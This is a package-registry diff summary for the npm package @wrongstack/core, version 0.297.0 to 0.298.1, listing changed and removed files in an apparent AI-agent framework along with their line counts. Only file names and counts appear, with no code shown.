@wrongstack/core 0.297.0 → 0.298.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/chronicle/index.js +126 -22
- package/dist/chronicle/project-server-client.d.ts +12 -0
- package/dist/chronicle/project-server-protocol.d.ts +22 -0
- package/dist/chronicle/project-server.js +238 -157
- package/dist/coordination/agents/index.js +136 -1
- package/dist/coordination/agents/role-skills.d.ts +3 -2
- package/dist/coordination/brain-trace.d.ts +2 -1
- package/dist/coordination/director/director-task-registry.d.ts +12 -0
- package/dist/coordination/fleet-supervisor.d.ts +21 -0
- package/dist/coordination/index.d.ts +23 -21
- package/dist/coordination/index.js +16493 -16068
- package/dist/coordination/mail-tools.d.ts +3 -3
- package/dist/coordination/mailbox-credential-store.d.ts +22 -2
- package/dist/coordination/mailbox-credential-throttle.d.ts +63 -0
- package/dist/coordination/mailbox-project-server-client.d.ts +16 -0
- package/dist/coordination/mailbox-project-server-protocol.d.ts +43 -5
- package/dist/coordination/mailbox-project-server.js +508 -253
- package/dist/coordination/provider-status-tracker.d.ts +2 -0
- package/dist/coordination/remote-mailbox-credential-store.d.ts +5 -5
- package/dist/coordination/remote-mailbox.d.ts +8 -4
- package/dist/coordination/sqlite-mailbox-credentials.d.ts +11 -0
- package/dist/core/fallback-profile-manager.d.ts +14 -0
- package/dist/core/index.js +451 -137
- package/dist/core/instruction-bundle.d.ts +12 -0
- package/dist/core/system-prompt-builder.d.ts +14 -0
- package/dist/core/system-prompt-skill-bodies.d.ts +1 -1
- package/dist/core/system-prompt-skill-text.d.ts +1 -2
- package/dist/defaults/index.js +2191 -1208
- package/dist/design/index.js +47 -8
- package/dist/execution/design-materialize.d.ts +22 -0
- package/dist/execution/index.js +495 -248
- package/dist/execution/skill-loader.d.ts +10 -1
- package/dist/execution/tool-error-taxonomy.d.ts +31 -0
- package/dist/execution/tool-executor.d.ts +1 -0
- package/dist/goal/index.js +3 -1
- package/dist/hooks/index.js +5 -0
- package/dist/hq/auth-audit.d.ts +6 -0
- package/dist/hq/auth-store.d.ts +59 -3
- package/dist/hq/index.js +401 -101
- package/dist/hq/kanban-store.d.ts +3 -0
- package/dist/hq/protocol/core.d.ts +3 -15
- package/dist/hq/protocol/envelope.d.ts +29 -0
- package/dist/hq/protocol/governance.d.ts +34 -0
- package/dist/hq/protocol/project.d.ts +3 -0
- package/dist/hq/protocol/resume.d.ts +1 -1
- package/dist/hq/protocol.d.ts +9 -8
- package/dist/hq/protocol.js +675 -0
- package/dist/index.js +9012 -6916
- package/dist/infrastructure/index.js +199 -102
- package/dist/kernel/events/session-events.d.ts +3 -0
- package/dist/kernel/events/tool-events.d.ts +3 -1
- package/dist/models/index.js +1 -1
- package/dist/observability/index.js +27 -0
- package/dist/observability/prometheus.d.ts +11 -0
- package/dist/plugin/index.d.ts +5 -1
- package/dist/plugin/index.js +988 -558
- package/dist/plugins/auto-review-plugin.d.ts +1 -11
- package/dist/plugins/review-store-maintenance.d.ts +26 -0
- package/dist/plugins/review-types.d.ts +6 -0
- package/dist/security/auto-approve-policy.d.ts +37 -0
- package/dist/security/capabilities.d.ts +45 -1
- package/dist/security/error-sanitize.d.ts +49 -0
- package/dist/security/file-permissions.d.ts +41 -0
- package/dist/security/index.d.ts +9 -6
- package/dist/security/index.js +3008 -2029
- package/dist/security/permission-helpers.d.ts +93 -0
- package/dist/security/permission-policy.d.ts +37 -35
- package/dist/security/secret-vault.d.ts +17 -0
- package/dist/security/totp.d.ts +86 -0
- package/dist/skills/frontmatter.d.ts +12 -1
- package/dist/skills/github-fetcher.d.ts +48 -0
- package/dist/skills/index.js +137 -26
- package/dist/skills/limits.d.ts +19 -0
- package/dist/skills/skill-installer.d.ts +13 -0
- package/dist/storage/index.js +929 -733
- package/dist/storage/provider-config-watcher.d.ts +1 -0
- package/dist/storage/session-helpers.d.ts +1 -0
- package/dist/storage/session-store.d.ts +9 -2
- package/dist/storage/session-workspace-checkpoints.d.ts +5 -0
- package/dist/tools/fallback-manage-tools.d.ts +6 -0
- package/dist/tools/index.js +287 -131
- package/dist/tools/mcp-use.d.ts +1 -1
- package/dist/types/blocks.d.ts +7 -0
- package/dist/types/config/autonomy.d.ts +15 -7
- package/dist/types/config/mcp-features.d.ts +9 -1
- package/dist/types/config/root.d.ts +10 -4
- package/dist/types/context-window.d.ts +15 -0
- package/dist/types/index.d.ts +1 -1
- package/dist/types/secret-vault.d.ts +8 -0
- package/dist/types/session.d.ts +2 -0
- package/dist/types/skill.d.ts +56 -0
- package/dist/types/tool-executor.d.ts +2 -0
- package/dist/utils/env-typed.d.ts +64 -0
- package/dist/utils/glob-match.d.ts +21 -1
- package/dist/utils/heap-watchdog.js +1 -1
- package/dist/utils/incoming-images.d.ts +19 -0
- package/dist/utils/index.d.ts +16 -12
- package/dist/utils/index.js +3128 -2800
- package/dist/utils/path-segment.d.ts +29 -0
- package/dist/utils/sage-output-block.js +48 -0
- package/dist/utils/win32-cmd.d.ts +25 -0
- package/dist/worktree/index.js +5 -0
- package/instructions/llm/chimera-review.md +4 -6
- package/package.json +13 -4
- package/skills/auto-review/SKILL.md +11 -76
- package/skills/chimera/SKILL.md +31 -49
- package/skills/data-governance/SKILL.md +92 -0
- package/skills/wrongstack-kanban/SKILL.md +125 -64
- package/dist/agent-status-helpers.d.ts.map +0 -1
- package/dist/agent-status-tracker.d.ts.map +0 -1
- package/dist/boot.d.ts.map +0 -1
- package/dist/chronicle/context.d.ts.map +0 -1
- package/dist/chronicle/decision-adapter.d.ts.map +0 -1
- package/dist/chronicle/domain-adapter.d.ts.map +0 -1
- package/dist/chronicle/event-hash.d.ts.map +0 -1
- package/dist/chronicle/file-observer.d.ts.map +0 -1
- package/dist/chronicle/health-monitor.d.ts.map +0 -1
- package/dist/chronicle/identity.d.ts.map +0 -1
- package/dist/chronicle/index.d.ts.map +0 -1
- package/dist/chronicle/index.js.map +0 -7
- package/dist/chronicle/journal.d.ts.map +0 -1
- package/dist/chronicle/legacy-journal-import.d.ts.map +0 -1
- package/dist/chronicle/metrics-store.d.ts.map +0 -1
- package/dist/chronicle/partition-filename.d.ts.map +0 -1
- package/dist/chronicle/partition-range-cache.d.ts.map +0 -1
- package/dist/chronicle/process-adapter.d.ts.map +0 -1
- package/dist/chronicle/project-access.d.ts.map +0 -1
- package/dist/chronicle/project-server-client.d.ts.map +0 -1
- package/dist/chronicle/project-server-endpoint.d.ts.map +0 -1
- package/dist/chronicle/project-server-protocol.d.ts.map +0 -1
- package/dist/chronicle/project-server.d.ts.map +0 -1
- package/dist/chronicle/project-server.js.map +0 -7
- package/dist/chronicle/prompt-manifest.d.ts.map +0 -1
- package/dist/chronicle/provider-adapter.d.ts.map +0 -1
- package/dist/chronicle/query.d.ts.map +0 -1
- package/dist/chronicle/review-adapter.d.ts.map +0 -1
- package/dist/chronicle/rollup-adapter.d.ts.map +0 -1
- package/dist/chronicle/sink.d.ts.map +0 -1
- package/dist/chronicle/sqlite-journal.d.ts.map +0 -1
- package/dist/chronicle/sqlite-query.d.ts.map +0 -1
- package/dist/chronicle/stream-adapter.d.ts.map +0 -1
- package/dist/chronicle/tool-adapter.d.ts.map +0 -1
- package/dist/chronicle/types.d.ts.map +0 -1
- package/dist/coordination/adaptive-concurrency.d.ts.map +0 -1
- package/dist/coordination/agent-bridge.d.ts.map +0 -1
- package/dist/coordination/agent-monitor.d.ts.map +0 -1
- package/dist/coordination/agent-subagent-runner.d.ts.map +0 -1
- package/dist/coordination/agents/agent-prompts.d.ts.map +0 -1
- package/dist/coordination/agents/index.d.ts.map +0 -1
- package/dist/coordination/agents/index.js.map +0 -7
- package/dist/coordination/agents/phase1-discovery.d.ts.map +0 -1
- package/dist/coordination/agents/phase2-planning.d.ts.map +0 -1
- package/dist/coordination/agents/phase3-build.d.ts.map +0 -1
- package/dist/coordination/agents/phase3-techstack.d.ts.map +0 -1
- package/dist/coordination/agents/phase3-wave1-platform.d.ts.map +0 -1
- package/dist/coordination/agents/phase3-wave2-meta.d.ts.map +0 -1
- package/dist/coordination/agents/phase4-verify.d.ts.map +0 -1
- package/dist/coordination/agents/phase5-review.d.ts.map +0 -1
- package/dist/coordination/agents/phase6-domain.d.ts.map +0 -1
- package/dist/coordination/agents/phase7-knowledge.d.ts.map +0 -1
- package/dist/coordination/agents/phase8-delivery.d.ts.map +0 -1
- package/dist/coordination/agents/phase8-wave3-products.d.ts.map +0 -1
- package/dist/coordination/agents/phase9-meta.d.ts.map +0 -1
- package/dist/coordination/agents/phase9-wave4-platform-meta.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-config-validation.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-consolidation.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-files.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-identity-types.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-identity.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-knowledge-manifests.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-learning-entries.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-learning-normalize.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-learning-policy.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-learning-structured.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-paths.d.ts.map +0 -1
- package/dist/coordination/agents/project-agent-profile.d.ts.map +0 -1
- package/dist/coordination/agents/role-skills.d.ts.map +0 -1
- package/dist/coordination/agents/types.d.ts.map +0 -1
- package/dist/coordination/agents.d.ts.map +0 -1
- package/dist/coordination/auto-extend.d.ts.map +0 -1
- package/dist/coordination/autonomous-brain.d.ts.map +0 -1
- package/dist/coordination/autonomous-coordinator.d.ts.map +0 -1
- package/dist/coordination/brain-cache.d.ts.map +0 -1
- package/dist/coordination/brain-heuristics.d.ts.map +0 -1
- package/dist/coordination/brain-ledger.d.ts.map +0 -1
- package/dist/coordination/brain-monitor.d.ts.map +0 -1
- package/dist/coordination/brain-rules.d.ts.map +0 -1
- package/dist/coordination/brain-telemetry.d.ts.map +0 -1
- package/dist/coordination/brain-trace.d.ts.map +0 -1
- package/dist/coordination/brain.d.ts.map +0 -1
- package/dist/coordination/change-manager.d.ts.map +0 -1
- package/dist/coordination/checkpoint-wiring.d.ts.map +0 -1
- package/dist/coordination/collab-bus.d.ts.map +0 -1
- package/dist/coordination/collab-debug-types.d.ts.map +0 -1
- package/dist/coordination/collab-debug.d.ts.map +0 -1
- package/dist/coordination/collab-director-host.d.ts.map +0 -1
- package/dist/coordination/commit-safety.d.ts.map +0 -1
- package/dist/coordination/consensus-protocol.d.ts.map +0 -1
- package/dist/coordination/coordinator/error-classifier.d.ts.map +0 -1
- package/dist/coordination/delegate-tool.d.ts.map +0 -1
- package/dist/coordination/dep-watcher-bridge.d.ts.map +0 -1
- package/dist/coordination/dep-watcher.d.ts.map +0 -1
- package/dist/coordination/director/director-btw-notes.d.ts.map +0 -1
- package/dist/coordination/director/director-budget-policy.d.ts.map +0 -1
- package/dist/coordination/director/director-collab.d.ts.map +0 -1
- package/dist/coordination/director/director-errors.d.ts.map +0 -1
- package/dist/coordination/director/director-task-registry.d.ts.map +0 -1
- package/dist/coordination/director/director-toolset.d.ts.map +0 -1
- package/dist/coordination/director-basic-tools.d.ts.map +0 -1
- package/dist/coordination/director-collab-tools.d.ts.map +0 -1
- package/dist/coordination/director-host-contracts.d.ts.map +0 -1
- package/dist/coordination/director-input-helpers.d.ts.map +0 -1
- package/dist/coordination/director-kanban-queue-helpers.d.ts.map +0 -1
- package/dist/coordination/director-options.d.ts.map +0 -1
- package/dist/coordination/director-prompts.d.ts.map +0 -1
- package/dist/coordination/director-quality-gate-tool.d.ts.map +0 -1
- package/dist/coordination/director-session.d.ts.map +0 -1
- package/dist/coordination/director-spawn-model.d.ts.map +0 -1
- package/dist/coordination/director-tools.d.ts.map +0 -1
- package/dist/coordination/director.d.ts.map +0 -1
- package/dist/coordination/dispatcher.d.ts.map +0 -1
- package/dist/coordination/file-author-tracker.d.ts.map +0 -1
- package/dist/coordination/fleet-bus.d.ts.map +0 -1
- package/dist/coordination/fleet-event-validation.d.ts.map +0 -1
- package/dist/coordination/fleet-manager.d.ts.map +0 -1
- package/dist/coordination/fleet-spawn.d.ts.map +0 -1
- package/dist/coordination/fleet-status-tool.d.ts.map +0 -1
- package/dist/coordination/fleet-supervisor.d.ts.map +0 -1
- package/dist/coordination/fleet.d.ts.map +0 -1
- package/dist/coordination/global-mailbox-completion.d.ts.map +0 -1
- package/dist/coordination/global-mailbox-paths.d.ts.map +0 -1
- package/dist/coordination/icoordinator.d.ts.map +0 -1
- package/dist/coordination/ifleet-manager.d.ts.map +0 -1
- package/dist/coordination/in-memory-transport.d.ts.map +0 -1
- package/dist/coordination/index.d.ts.map +0 -1
- package/dist/coordination/index.js.map +0 -7
- package/dist/coordination/knowledge-graph.d.ts.map +0 -1
- package/dist/coordination/large-answer-store.d.ts.map +0 -1
- package/dist/coordination/mail-tools.d.ts.map +0 -1
- package/dist/coordination/mailbox-actions.d.ts.map +0 -1
- package/dist/coordination/mailbox-auth-types.d.ts.map +0 -1
- package/dist/coordination/mailbox-codecs.d.ts.map +0 -1
- package/dist/coordination/mailbox-constants.d.ts.map +0 -1
- package/dist/coordination/mailbox-credential-store.d.ts.map +0 -1
- package/dist/coordination/mailbox-events.d.ts.map +0 -1
- package/dist/coordination/mailbox-health.d.ts.map +0 -1
- package/dist/coordination/mailbox-hooks.d.ts.map +0 -1
- package/dist/coordination/mailbox-http-auth.d.ts.map +0 -1
- package/dist/coordination/mailbox-http-rate-limit.d.ts.map +0 -1
- package/dist/coordination/mailbox-http-router.d.ts.map +0 -1
- package/dist/coordination/mailbox-http-validation.d.ts.map +0 -1
- package/dist/coordination/mailbox-message-codec.d.ts.map +0 -1
- package/dist/coordination/mailbox-parse-state.d.ts.map +0 -1
- package/dist/coordination/mailbox-project-server-client.d.ts.map +0 -1
- package/dist/coordination/mailbox-project-server-endpoint.d.ts.map +0 -1
- package/dist/coordination/mailbox-project-server-protocol.d.ts.map +0 -1
- package/dist/coordination/mailbox-project-server.d.ts.map +0 -1
- package/dist/coordination/mailbox-project-server.js.map +0 -7
- package/dist/coordination/mailbox-receipt-folding.d.ts.map +0 -1
- package/dist/coordination/mailbox-registry-codec.d.ts.map +0 -1
- package/dist/coordination/mailbox-retention-state.d.ts.map +0 -1
- package/dist/coordination/mailbox-status-mappers.d.ts.map +0 -1
- package/dist/coordination/mailbox-tool.d.ts.map +0 -1
- package/dist/coordination/mailbox-type-properties.d.ts.map +0 -1
- package/dist/coordination/mailbox-types.d.ts.map +0 -1
- package/dist/coordination/model-matrix.d.ts.map +0 -1
- package/dist/coordination/multi-agent-coordinator.d.ts.map +0 -1
- package/dist/coordination/multi-agent-timeout.d.ts.map +0 -1
- package/dist/coordination/null-fleet-bus.d.ts.map +0 -1
- package/dist/coordination/package-author-tracker.d.ts.map +0 -1
- package/dist/coordination/package-outdated-watcher.d.ts.map +0 -1
- package/dist/coordination/provider-status-tracker.d.ts.map +0 -1
- package/dist/coordination/remote-mailbox-credential-store.d.ts.map +0 -1
- package/dist/coordination/remote-mailbox.d.ts.map +0 -1
- package/dist/coordination/single-instance-mailbox.d.ts.map +0 -1
- package/dist/coordination/spawn-budget.d.ts.map +0 -1
- package/dist/coordination/sqlite-mailbox-compaction.d.ts.map +0 -1
- package/dist/coordination/sqlite-mailbox-credentials.d.ts.map +0 -1
- package/dist/coordination/sqlite-mailbox-rows.d.ts.map +0 -1
- package/dist/coordination/sqlite-mailbox-schema.d.ts.map +0 -1
- package/dist/coordination/sqlite-mailbox.d.ts.map +0 -1
- package/dist/coordination/subagent-budget.d.ts.map +0 -1
- package/dist/coordination/subagent-nicknames.d.ts.map +0 -1
- package/dist/coordination/subagent-result-tool.d.ts.map +0 -1
- package/dist/coordination/task-auctioneer.d.ts.map +0 -1
- package/dist/coordination/task-dag.d.ts.map +0 -1
- package/dist/coordination/techstack-mailbox-consumer.d.ts.map +0 -1
- package/dist/coordination/transport.d.ts.map +0 -1
- package/dist/coordination/worktree-task-runner.d.ts.map +0 -1
- package/dist/core/agent-internals.d.ts.map +0 -1
- package/dist/core/agent-loop.d.ts.map +0 -1
- package/dist/core/agent-response.d.ts.map +0 -1
- package/dist/core/agent-tools.d.ts.map +0 -1
- package/dist/core/agent-types.d.ts.map +0 -1
- package/dist/core/agent.d.ts.map +0 -1
- package/dist/core/btw.d.ts.map +0 -1
- package/dist/core/context.d.ts.map +0 -1
- package/dist/core/continue-intent.d.ts.map +0 -1
- package/dist/core/continue-to-next-iteration.d.ts.map +0 -1
- package/dist/core/conversation-state.d.ts.map +0 -1
- package/dist/core/fallback-model.d.ts.map +0 -1
- package/dist/core/fallback-profile-manager.d.ts.map +0 -1
- package/dist/core/fleet-pulse.d.ts.map +0 -1
- package/dist/core/index.d.ts.map +0 -1
- package/dist/core/index.js.map +0 -7
- package/dist/core/input-builder.d.ts.map +0 -1
- package/dist/core/instruction-bundle.d.ts.map +0 -1
- package/dist/core/iteration-limit.d.ts.map +0 -1
- package/dist/core/mailbox-loop.d.ts.map +0 -1
- package/dist/core/model-availability-calendar.d.ts.map +0 -1
- package/dist/core/model-ref.d.ts.map +0 -1
- package/dist/core/model-ref.js.map +0 -7
- package/dist/core/modes/brief.d.ts.map +0 -1
- package/dist/core/modes/default.d.ts.map +0 -1
- package/dist/core/modes/teach.d.ts.map +0 -1
- package/dist/core/provider-runner.d.ts.map +0 -1
- package/dist/core/queued-messages.d.ts.map +0 -1
- package/dist/core/request-provider-binding.d.ts.map +0 -1
- package/dist/core/run-env.d.ts.map +0 -1
- package/dist/core/streaming-response-builder.d.ts.map +0 -1
- package/dist/core/system-prompt-blocks.d.ts.map +0 -1
- package/dist/core/system-prompt-builder.d.ts.map +0 -1
- package/dist/core/system-prompt-environment-probes.d.ts.map +0 -1
- package/dist/core/system-prompt-environment.d.ts.map +0 -1
- package/dist/core/system-prompt-memory-skills.d.ts.map +0 -1
- package/dist/core/system-prompt-plan.d.ts.map +0 -1
- package/dist/core/system-prompt-shell.d.ts.map +0 -1
- package/dist/core/system-prompt-skill-bodies.d.ts.map +0 -1
- package/dist/core/system-prompt-skill-text.d.ts.map +0 -1
- package/dist/defaults/index.d.ts.map +0 -1
- package/dist/defaults/index.js.map +0 -7
- package/dist/design/index.d.ts.map +0 -1
- package/dist/design/index.js.map +0 -7
- package/dist/execution/auto-compaction-middleware.d.ts.map +0 -1
- package/dist/execution/autonomous-runner.d.ts.map +0 -1
- package/dist/execution/autonomy-brain.d.ts.map +0 -1
- package/dist/execution/autonomy-prompt-contributor.d.ts.map +0 -1
- package/dist/execution/brain-chain.d.ts.map +0 -1
- package/dist/execution/brain-circuit.d.ts.map +0 -1
- package/dist/execution/brain-evaluation.d.ts.map +0 -1
- package/dist/execution/brain-runtime-constants.d.ts.map +0 -1
- package/dist/execution/brain-runtime.d.ts.map +0 -1
- package/dist/execution/compaction-core.d.ts.map +0 -1
- package/dist/execution/compaction-scoring.d.ts.map +0 -1
- package/dist/execution/compaction-summary-cache.d.ts.map +0 -1
- package/dist/execution/compactor.d.ts.map +0 -1
- package/dist/execution/council-brain.d.ts.map +0 -1
- package/dist/execution/council-orchestrator.d.ts.map +0 -1
- package/dist/execution/council-personas.d.ts.map +0 -1
- package/dist/execution/council-profiles.d.ts.map +0 -1
- package/dist/execution/council-prompts.d.ts.map +0 -1
- package/dist/execution/council-resolution.d.ts.map +0 -1
- package/dist/execution/design-color.d.ts.map +0 -1
- package/dist/execution/design-detect.d.ts.map +0 -1
- package/dist/execution/design-kit-loader.d.ts.map +0 -1
- package/dist/execution/design-materialize.d.ts.map +0 -1
- package/dist/execution/design-project-store.d.ts.map +0 -1
- package/dist/execution/design-tune.d.ts.map +0 -1
- package/dist/execution/design-verify.d.ts.map +0 -1
- package/dist/execution/enhance-recovery.d.ts.map +0 -1
- package/dist/execution/error-handler.d.ts.map +0 -1
- package/dist/execution/eternal-autonomy-types.d.ts.map +0 -1
- package/dist/execution/eternal-autonomy.d.ts.map +0 -1
- package/dist/execution/goal-preamble.d.ts.map +0 -1
- package/dist/execution/index.d.ts.map +0 -1
- package/dist/execution/index.js.map +0 -7
- package/dist/execution/intelligent-compactor.d.ts.map +0 -1
- package/dist/execution/model-runtime.d.ts.map +0 -1
- package/dist/execution/one-shot-llm.d.ts.map +0 -1
- package/dist/execution/parallel-eternal-engine.d.ts.map +0 -1
- package/dist/execution/prompt-enhancer.d.ts.map +0 -1
- package/dist/execution/prompt-enhancer.js.map +0 -7
- package/dist/execution/prompt-loader.d.ts.map +0 -1
- package/dist/execution/provider-runner-impl.d.ts.map +0 -1
- package/dist/execution/regex-patterns.d.ts.map +0 -1
- package/dist/execution/retry-policy.d.ts.map +0 -1
- package/dist/execution/selective-compactor.d.ts.map +0 -1
- package/dist/execution/skill-loader.d.ts.map +0 -1
- package/dist/execution/strategy-compactor.d.ts.map +0 -1
- package/dist/execution/subagent-compaction.d.ts.map +0 -1
- package/dist/execution/tool-executor-logging.d.ts.map +0 -1
- package/dist/execution/tool-executor-results.d.ts.map +0 -1
- package/dist/execution/tool-executor-stream.d.ts.map +0 -1
- package/dist/execution/tool-executor-support.d.ts.map +0 -1
- package/dist/execution/tool-executor.d.ts.map +0 -1
- package/dist/extension/extension-points.d.ts.map +0 -1
- package/dist/extension/index.d.ts.map +0 -1
- package/dist/extension/index.js.map +0 -7
- package/dist/extension/registry.d.ts.map +0 -1
- package/dist/fleet-notifier.d.ts.map +0 -1
- package/dist/goal/checkpoint.d.ts.map +0 -1
- package/dist/goal/goal-assessor.d.ts.map +0 -1
- package/dist/goal/goal-planner.d.ts.map +0 -1
- package/dist/goal/goal-runner.d.ts.map +0 -1
- package/dist/goal/index.d.ts.map +0 -1
- package/dist/goal/index.js.map +0 -7
- package/dist/goal/phase-board-mutations.d.ts.map +0 -1
- package/dist/goal/phase-graph-builder.d.ts.map +0 -1
- package/dist/goal/phase-orchestrator-integration.d.ts.map +0 -1
- package/dist/goal/phase-orchestrator-queries.d.ts.map +0 -1
- package/dist/goal/phase-orchestrator-runtime.d.ts.map +0 -1
- package/dist/goal/phase-orchestrator-types.d.ts.map +0 -1
- package/dist/goal/phase-orchestrator.d.ts.map +0 -1
- package/dist/goal/phase-store.d.ts.map +0 -1
- package/dist/goal/types.d.ts.map +0 -1
- package/dist/hooks/http-executor.d.ts.map +0 -1
- package/dist/hooks/index.d.ts.map +0 -1
- package/dist/hooks/index.js.map +0 -7
- package/dist/hooks/registry.d.ts.map +0 -1
- package/dist/hooks/runner.d.ts.map +0 -1
- package/dist/hooks/shell-executor.d.ts.map +0 -1
- package/dist/hooks/shell-hooks-equal.d.ts.map +0 -1
- package/dist/hq/alerts.d.ts.map +0 -1
- package/dist/hq/auth-audit.d.ts.map +0 -1
- package/dist/hq/auth-store.d.ts.map +0 -1
- package/dist/hq/bootstrap-store.d.ts.map +0 -1
- package/dist/hq/brain-bridge.d.ts.map +0 -1
- package/dist/hq/bridge-context.d.ts.map +0 -1
- package/dist/hq/commands.d.ts.map +0 -1
- package/dist/hq/cost-bridge.d.ts.map +0 -1
- package/dist/hq/exposure.d.ts.map +0 -1
- package/dist/hq/factory.d.ts.map +0 -1
- package/dist/hq/fleet-bridge.d.ts.map +0 -1
- package/dist/hq/index.d.ts.map +0 -1
- package/dist/hq/index.js.map +0 -7
- package/dist/hq/kanban-store.d.ts.map +0 -1
- package/dist/hq/mailbox-mapper.d.ts.map +0 -1
- package/dist/hq/persistence/event-log.d.ts.map +0 -1
- package/dist/hq/persistence/jsonl-io.d.ts.map +0 -1
- package/dist/hq/persistence/simple-log.d.ts.map +0 -1
- package/dist/hq/persistence/snapshot-store.d.ts.map +0 -1
- package/dist/hq/persistence/timeseries-store.d.ts.map +0 -1
- package/dist/hq/persistence.d.ts.map +0 -1
- package/dist/hq/protocol/brain.d.ts.map +0 -1
- package/dist/hq/protocol/browser.d.ts.map +0 -1
- package/dist/hq/protocol/client.d.ts.map +0 -1
- package/dist/hq/protocol/core.d.ts.map +0 -1
- package/dist/hq/protocol/fleet.d.ts.map +0 -1
- package/dist/hq/protocol/kanban.d.ts.map +0 -1
- package/dist/hq/protocol/mailbox.d.ts.map +0 -1
- package/dist/hq/protocol/mcp.d.ts.map +0 -1
- package/dist/hq/protocol/peer.d.ts.map +0 -1
- package/dist/hq/protocol/project.d.ts.map +0 -1
- package/dist/hq/protocol/resume.d.ts.map +0 -1
- package/dist/hq/protocol/session.d.ts.map +0 -1
- package/dist/hq/protocol/tool.d.ts.map +0 -1
- package/dist/hq/protocol.d.ts.map +0 -1
- package/dist/hq/publisher.d.ts.map +0 -1
- package/dist/hq/redaction.d.ts.map +0 -1
- package/dist/hq/session-bridge.d.ts.map +0 -1
- package/dist/hq/tool-bridge.d.ts.map +0 -1
- package/dist/hq/transcript-mapper.d.ts.map +0 -1
- package/dist/hq/worktree-bridge.d.ts.map +0 -1
- package/dist/hq/write-queues.d.ts.map +0 -1
- package/dist/index.d.ts.map +0 -1
- package/dist/index.js.map +0 -7
- package/dist/infrastructure/context-manager.d.ts.map +0 -1
- package/dist/infrastructure/index.d.ts.map +0 -1
- package/dist/infrastructure/index.js.map +0 -7
- package/dist/infrastructure/logger.d.ts.map +0 -1
- package/dist/infrastructure/mcp-servers.d.ts.map +0 -1
- package/dist/infrastructure/path-resolver.d.ts.map +0 -1
- package/dist/infrastructure/provider-cache-ledger.d.ts.map +0 -1
- package/dist/infrastructure/token-counter.d.ts.map +0 -1
- package/dist/kernel/container.d.ts.map +0 -1
- package/dist/kernel/events/agent-events.d.ts.map +0 -1
- package/dist/kernel/events/brain-events.d.ts.map +0 -1
- package/dist/kernel/events/file-events.d.ts.map +0 -1
- package/dist/kernel/events/fleet-events.d.ts.map +0 -1
- package/dist/kernel/events/memory-events.d.ts.map +0 -1
- package/dist/kernel/events/network-events.d.ts.map +0 -1
- package/dist/kernel/events/process-events.d.ts.map +0 -1
- package/dist/kernel/events/provider-events.d.ts.map +0 -1
- package/dist/kernel/events/sdd-events.d.ts.map +0 -1
- package/dist/kernel/events/session-events.d.ts.map +0 -1
- package/dist/kernel/events/tool-events.d.ts.map +0 -1
- package/dist/kernel/events/worktree-events.d.ts.map +0 -1
- package/dist/kernel/events.d.ts.map +0 -1
- package/dist/kernel/index.d.ts.map +0 -1
- package/dist/kernel/index.js.map +0 -7
- package/dist/kernel/pipeline.d.ts.map +0 -1
- package/dist/kernel/run-controller.d.ts.map +0 -1
- package/dist/kernel/tokens.d.ts.map +0 -1
- package/dist/mailbox-attach.d.ts.map +0 -1
- package/dist/middleware/collab-pause.d.ts.map +0 -1
- package/dist/models/alibaba-token-plan-catalog.d.ts.map +0 -1
- package/dist/models/codex-catalog.d.ts.map +0 -1
- package/dist/models/index.d.ts.map +0 -1
- package/dist/models/index.js.map +0 -7
- package/dist/models/llm-selector.d.ts.map +0 -1
- package/dist/models/mode-store.d.ts.map +0 -1
- package/dist/models/model-intelligence.d.ts.map +0 -1
- package/dist/models/model-router.d.ts.map +0 -1
- package/dist/models/models-registry.d.ts.map +0 -1
- package/dist/models/provider-model-resolve.d.ts.map +0 -1
- package/dist/notifications/index.d.ts.map +0 -1
- package/dist/notifications/index.js.map +0 -7
- package/dist/notifications/notifier-impl.d.ts.map +0 -1
- package/dist/notifications/notifier.d.ts.map +0 -1
- package/dist/notifications/types.d.ts.map +0 -1
- package/dist/observability/event-bridge.d.ts.map +0 -1
- package/dist/observability/health.d.ts.map +0 -1
- package/dist/observability/index.d.ts.map +0 -1
- package/dist/observability/index.js.map +0 -7
- package/dist/observability/metrics.d.ts.map +0 -1
- package/dist/observability/network-telemetry.d.ts.map +0 -1
- package/dist/observability/otel-tracer.d.ts.map +0 -1
- package/dist/observability/otlp-metrics.d.ts.map +0 -1
- package/dist/observability/otlp-traces.d.ts.map +0 -1
- package/dist/observability/process-telemetry.d.ts.map +0 -1
- package/dist/observability/prometheus.d.ts.map +0 -1
- package/dist/observability/redact-command.d.ts.map +0 -1
- package/dist/observability/tracer.d.ts.map +0 -1
- package/dist/plugin/api.d.ts.map +0 -1
- package/dist/plugin/config.d.ts.map +0 -1
- package/dist/plugin/index.d.ts.map +0 -1
- package/dist/plugin/index.js.map +0 -7
- package/dist/plugin/loader.d.ts.map +0 -1
- package/dist/plugins/auto-review-plugin.d.ts.map +0 -1
- package/dist/plugins/chimera-plugin.d.ts.map +0 -1
- package/dist/plugins/prompts-plugin.d.ts.map +0 -1
- package/dist/plugins/review-claim-registry.d.ts.map +0 -1
- package/dist/plugins/review-context-builder.d.ts.map +0 -1
- package/dist/plugins/review-finding-commands.d.ts.map +0 -1
- package/dist/plugins/review-finding-integration.d.ts.map +0 -1
- package/dist/plugins/review-finding-parser.d.ts.map +0 -1
- package/dist/plugins/review-finding-store.d.ts.map +0 -1
- package/dist/plugins/review-finding-types.d.ts.map +0 -1
- package/dist/plugins/review-report-integration.d.ts.map +0 -1
- package/dist/plugins/review-report-store.d.ts.map +0 -1
- package/dist/plugins/review-report-types.d.ts.map +0 -1
- package/dist/plugins/review-types.d.ts.map +0 -1
- package/dist/plugins/skills-plugin.d.ts.map +0 -1
- package/dist/plugins/sync-plugin.d.ts.map +0 -1
- package/dist/prompts/index.d.ts.map +0 -1
- package/dist/prompts/prompt-installer.d.ts.map +0 -1
- package/dist/prompts/prompt-manifest-store.d.ts.map +0 -1
- package/dist/registry/index.d.ts.map +0 -1
- package/dist/registry/index.js.map +0 -7
- package/dist/registry/provider-registry.d.ts.map +0 -1
